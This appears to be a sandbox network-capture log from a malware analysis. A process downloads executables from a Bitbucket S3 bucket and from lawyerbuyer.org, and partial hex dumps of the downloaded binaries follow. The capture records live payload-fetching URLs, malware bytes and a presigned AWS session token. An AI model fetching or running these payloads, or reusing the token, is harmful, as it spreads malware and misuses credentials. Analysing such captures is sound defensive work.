2024-03-11 02:30:55 UTC	1143	OUT	GET /fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 HTTP/1.1 Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-03-11 02:30:56 UTC	536	IN	HTTP/1.1 200 OK x-amz-id-2: epcZFvoQignzDn7Ub4iDc8JQYc9tP7IRcDxrlQZUuwsgmn0jOpnyqpOLAL6Bqn8MXS6hj293QVE= x-amz-request-id: J5BMW6PGSBD3QF3H Date: Mon, 11 Mar 2024 02:30:57 GMT Last-Modified: Sat, 09 Mar 2024 01:51:54 GMT ETag: "d9578a8e9ee343bc53b08fd8101f66e9" x-amz-server-side-encryption: AES256 x-amz-version-id: P5m1d1MT8MpyYgT1paykScDnj4a0CXh_ Content-Disposition: attachment; filename="a02.exe" Accept-Ranges: bytes Content-Type: application/octet-stream Server: AmazonS3 Content-Length: 323584 Connection: close
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 08 61 dd 66 4c 00 b3 35 4c 00 b3 35 4c 00 b3 35 cf 08 ee 35 4e 00 b3 35 6b c6 ce 35 58 00 b3 35 6b c6 de 35 26 00 b3 35 6b c6 dd 35 60 00 b3 35 8f 0f ee 35 43 00 b3 35 4c 00 b2 35 cb 00 b3 35 6b c6 c1 35 4a 00 b3 35 6b c6 cb 35 4d 00 b3 35 52 69 63 68 4c 00 b3 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 3f be eb 65 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$afL5L5L55N5k5X5k5&5k5`55C5L55k5J5k5M5RichL5PEL?e
2024-03-11 02:30:56 UTC	488	IN	Data Raw: 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 70 41 40 00 8b ff f7 d9 ff 24 8d 20 41 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 74 40 40 00 ff 24 8d 70 41 40 00 90 84 40 40 00 a8 40 40 00 d0 40 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 70 41 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 70 41 40 00 90 8a 46 03 23 d1 88 47 03 8a 46 02 88 47 02 8a 46 01 c1 e9 02 88 47 01 83 ee 03 83 ef 03 83 f9 08 0f 82 56 ff ff ff fd f3 a5 fc ff 24 95 70 41 Data Ascii: GE^_IFGFGE^_t1\|9u$r$pA@$ A@Ir+$t@@$pA@@@@@@@F#Gr$pA@IF#GFGr$pA@F#GFGFGV$pA
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: b0 d4 44 00 ba ac d4 44 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 4f e9 ff ff 59 ff 76 04 e8 46 e9 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 b2 1b 00 00 c3 8b d0 eb c5 6a 0e e8 59 0f 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 75 d2 8b ff 33 c0 c3 90 1b c0 d1 e0 83 c0 01 c3 f7 c2 01 00 00 00 74 18 8a 02 83 c2 01 3a 01 75 e7 83 c1 01 0a c0 74 dc f7 c2 02 00 00 00 74 a4 66 8b 02 83 c2 02 3a 01 75 ce 0a c0 74 c6 3a 61 01 75 c5 0a e4 74 bd 83 c1 02 eb 88 51 53 55 56 57 ff 35 70 ed 44 00 e8 da 22 00 00 ff 35 6c ed 44 00 8b f0 89 74 24 18 e8 c9 22 Data Ascii: DDEt9u,HJPOYvFYfEjYYT$L$u<:u.t&:au%t:Aut:auu3t:uttf:ut:autQSUVW5pD"5lDt$"
2024-03-11 02:30:56 UTC	1024	IN	Data Raw: 33 c0 eb 11 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff 83 c8 ff e8 d7 db ff ff c3 56 57 b8 a4 a8 44 00 bf a4 a8 44 00 3b c7 8b f0 73 0f 8b 06 85 c0 74 02 ff d0 83 c6 04 3b f7 72 f1 5f 5e c3 56 57 b8 ac a8 44 00 bf ac a8 44 00 3b c7 8b f0 73 0f 8b 06 85 c0 74 02 ff d0 83 c6 04 3b f7 72 f1 5f 5e c3 55 8b ec 83 ec 10 a1 64 c0 44 00 83 65 f8 00 83 65 fc 00 53 57 bf 4e e6 40 bb 3b c7 bb 00 00 ff ff 74 0d 85 c3 74 09 f7 d0 a3 68 c0 44 00 eb 60 56 8d 45 f8 50 ff 15 48 e1 40 00 8b 75 fc 33 75 f8 ff 15 44 e1 40 00 33 f0 ff 15 1c e1 40 00 33 f0 ff 15 40 e1 40 00 33 f0 8d 45 f0 50 ff 15 3c e1 40 00 8b 45 f4 33 45 f0 33 f0 3b f7 75 07 be 4f e6 40 bb eb 0b 85 f3 75 07 8b c6 c1 e0 10 0b f0 89 35 64 c0 44 00 f7 d6 89 35 68 c0 44 00 5e 5f 5b c9 c3 57 8b 7c 24 08 8b 07 81 Data Ascii: 33@eEVWDD;st;r_^VWDD;st;r_^UdDeeSWN@;tthD`VEPH@u3uD@3@3@@3EP<@E3E3;uO@u5dD5hD^_[W\|$
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 7c 10 8b 51 04 8b 49 08 8b 34 32 8b 0c 0e 03 ca 03 c1 5e c3 55 8b ec 83 ec 0c 85 ff 75 0a e8 5b 0a 00 00 e9 0a 0a 00 00 83 65 f8 00 83 3f 00 c6 45 ff 00 7e 53 53 56 8b 45 08 8b 40 1c 8b 40 0c 8b 18 85 db 8d 70 04 7e 33 8b 45 f8 c1 e0 04 89 45 f4 8b 4d 08 ff 71 1c 8b 06 50 8b 47 04 03 45 f4 50 e8 6e fd ff ff 83 c4 0c 85 c0 75 0a 4b 83 c6 04 85 db 7f dc eb 04 c6 45 ff 01 ff 45 f8 8b 45 f8 3b 07 7c b1 5e 5b 8a 45 ff c9 c3 6a 04 b8 33 dc 40 00 e8 2e b2 ff ff e8 36 e1 ff ff 83 b8 94 00 00 00 00 74 05 e8 d2 09 00 00 83 65 fc 00 e8 b6 09 00 00 83 4d fc ff e9 74 09 00 00 e8 11 e1 ff ff 8b 4d 08 6a 00 6a 00 89 88 94 00 00 00 e8 ae ad ff ff cc 6a 2c 68 28 ab 44 00 e8 ca d6 ff ff 8b d9 8b 7d 0c 8b 75 08 89 5d e4 83 65 cc 00 8b 47 fc 89 45 dc ff 76 18 8d 45 c4 50 e8 Data Ascii: \|QI42^Uu[e?E~SSVE@@p~3EEMqPGEPnuKEEE;\|^[Ej3@.6teMtMjjj,h(D}u]eGEvEP
2024-03-11 02:30:56 UTC	1024	IN	Data Raw: f8 ff 75 18 50 57 ff 75 20 ff 75 ec e8 8b 11 00 00 8b f0 89 75 f0 83 c4 18 f7 de 1b f6 23 75 f8 57 e8 95 fc ff ff 59 eb 1a ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 15 90 e0 40 00 8b f0 39 5d f4 74 09 ff 75 f4 e8 1f 65 ff ff 59 8b 45 f0 3b c3 74 0c 39 45 18 74 07 50 e8 0c 65 ff ff 59 8b c6 8d 65 e0 5f 5e 5b 8b 4d fc 33 cd e8 4d 61 ff ff c9 c3 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 0d 7f ff ff ff 75 28 8d 4d f0 ff 75 24 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 2d fc ff ff 83 c4 20 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 55 8b ec 51 51 a1 64 c0 44 00 33 c5 89 45 fc a1 70 db 44 00 53 56 33 db 3b c3 57 8b f9 75 3a 8d 45 f8 50 33 f6 46 56 68 04 f2 40 00 56 ff 15 84 e0 40 00 85 c0 74 08 89 35 70 db 44 00 eb 34 ff 15 68 e0 40 Data Ascii: uPWu uu#uWYuuuuuu@9]tueYE;t9EtPeYe_^[M3MaUuMu(Mu$u uuuuu- }tMapUQQdD3EpDSV3;Wu:EP3FVh@V@t5pD4h@
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 00 00 e8 68 61 ff ff ff b6 98 00 00 00 e8 5d 61 ff ff ff b6 9c 00 00 00 e8 52 61 ff ff ff b6 a0 00 00 00 e8 47 61 ff ff ff b6 a4 00 00 00 e8 3c 61 ff ff ff b6 a8 00 00 00 e8 31 61 ff ff 83 c4 2c 5e c3 56 8b 74 24 08 85 f6 74 35 8b 06 3b 05 60 ce 44 00 74 07 50 e8 13 61 ff ff 59 8b 46 04 3b 05 64 ce 44 00 74 07 50 e8 01 61 ff ff 59 8b 76 08 3b 35 68 ce 44 00 74 07 56 e8 ef 60 ff ff 59 5e c3 56 8b 74 24 08 85 f6 74 7e 8b 46 0c 3b 05 6c ce 44 00 74 07 50 e8 d2 60 ff ff 59 8b 46 10 3b 05 70 ce 44 00 74 07 50 e8 c0 60 ff ff 59 8b 46 14 3b 05 74 ce 44 00 74 07 50 e8 ae 60 ff ff 59 8b 46 18 3b 05 78 ce 44 00 74 07 50 e8 9c 60 ff ff 59 8b 46 1c 3b 05 7c ce 44 00 74 07 50 e8 8a 60 ff ff 59 8b 46 20 3b 05 80 ce 44 00 74 07 50 e8 78 60 ff ff 59 8b 76 24 3b 35 84 ce Data Ascii: ha]aRaGa<a1a,^Vt$t5;`DtPaYF;dDtPaYv;5hDtV`Y^Vt$t~F;lDtP`YF;pDtP`YF;tDtP`YF;xDtP`YF;\|DtP`YF ;DtPx`Yv$;5
2024-03-11 02:30:56 UTC	1024	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:56 UTC	16384	IN	Data Raw: 68 00 30 00 00 68 00 70 00 00 55 ff d7 68 00 70 00 00 8b f0 68 f8 1e 41 00 56 e8 91 77 00 00 8b 54 24 38 8b 7e 3c 83 c4 0c 53 52 03 fe ff 15 10 02 41 00 8b 83 a4 00 00 00 83 c0 08 50 68 24 1c 41 00 e8 9e 40 00 00 8b 93 a4 00 00 00 8b 44 24 30 83 c4 08 55 6a 04 8d 4c 24 1c 51 83 c2 08 52 50 ff 15 0c 02 41 00 8b 4c 24 14 51 68 24 1c 41 00 e8 6f 40 00 00 8b 44 24 1c 8d 6f 34 83 c4 08 3b 45 00 89 6c 24 20 75 0c 8b 54 24 28 50 52 ff 15 1c 02 41 00 8b 47 50 8b 4d 00 8b 54 24 28 6a 40 68 00 30 00 00 50 51 52 ff 15 cc 00 41 00 85 c0 89 44 24 1c 75 28 ff 15 d4 00 41 00 8b 44 24 28 85 c0 c7 44 24 10 02 00 00 00 0f 84 b7 00 00 00 6a 02 50 ff 15 08 02 41 00 e9 a9 00 00 00 8b 4f 54 8b 54 24 28 6a 00 51 56 50 52 ff 15 18 02 41 00 33 ed 66 39 6f 06 76 47 89 6c 24 18 8b Data Ascii: h0hpUhphAVwT$8~<SRAPh$A@D$0UjL$QRPAL$Qh$Ao@D$o4;El$ uT$(PRAGPMT$(j@h0PQRAD$u(AD$(D$jPAOTT$(jQVPRA3f9ovGl$
2024-03-11 02:30:56 UTC	1024	IN	Data Raw: 24 40 07 00 00 00 66 89 74 24 44 8b 10 8b 52 0c 51 50 ff d2 85 c0 7c 6a 68 18 95 41 00 e8 e9 07 00 00 8b 44 24 10 8b 08 83 c4 04 8d 54 24 10 52 68 80 02 41 00 50 8b 01 ff d0 85 c0 7c 44 68 98 95 41 00 e8 c3 07 00 00 8b 44 24 14 8b 08 8b 51 18 83 c4 04 56 6a 00 50 ff d2 68 00 96 41 00 e8 a7 07 00 00 68 74 96 41 00 e8 9d 07 00 00 8b 44 24 18 8b 08 8b 51 08 83 c4 08 50 c6 44 24 0f 01 ff d2 8b 44 24 18 8b 08 8b 51 08 50 ff d2 8b 44 24 0c 8b 08 8b 51 08 50 ff d2 8b 44 24 14 8b 08 8b 51 08 50 ff d2 ff 15 30 02 41 00 8b 8c 24 54 04 00 00 8a 44 24 0b 5f 5e 33 cc e8 16 00 00 00 8b e5 5d c3 ff 25 40 00 41 00 ff 25 24 02 41 00 ff 25 20 02 41 00 3b 0d 28 c0 41 00 75 02 f3 c3 e9 24 0a 00 00 6a 0c 68 88 99 41 00 e8 97 18 00 00 33 c0 33 f6 39 75 08 0f 95 c0 3b c6 75 1d Data Ascii: $@ft$DRQP\|jhAD$T$RhAP\|DhAD$QVjPhAhtAD$QPD$D$QPD$QPD$QP0A$TD$_^3]%@A%$A% A;(Au$jhA339u;u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	55587	104.21.63.71	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:56 UTC	134	OUT	GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: lawyerbuyer.org Connection: Keep-Alive
2024-03-11 02:30:57 UTC	680	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283792 Connection: close Last-Modified: Sun, 10 Mar 2024 22:53:03 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 0 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R3dsf3Yb5VVVjvs6lQ%2B3xK4Uwsw9K24B4KuUVSw9e79HXVI4aQ%2Fn9IOOhMuduGv8tXr2xwtf2DUiExCkvo0RdStDWYhS%2BAyDSCotomexXBx8wNHKGLfIndUFyoqrW46XhSs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628201a6b100ad1-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:57 UTC	689	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 00 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 Data Ascii: fff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 6a 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 Data Ascii: jju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: fe ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 00 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 00 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 Data Ascii: YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,540584
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: c7 ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:30:57 UTC	1369	IN	Data Raw: 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 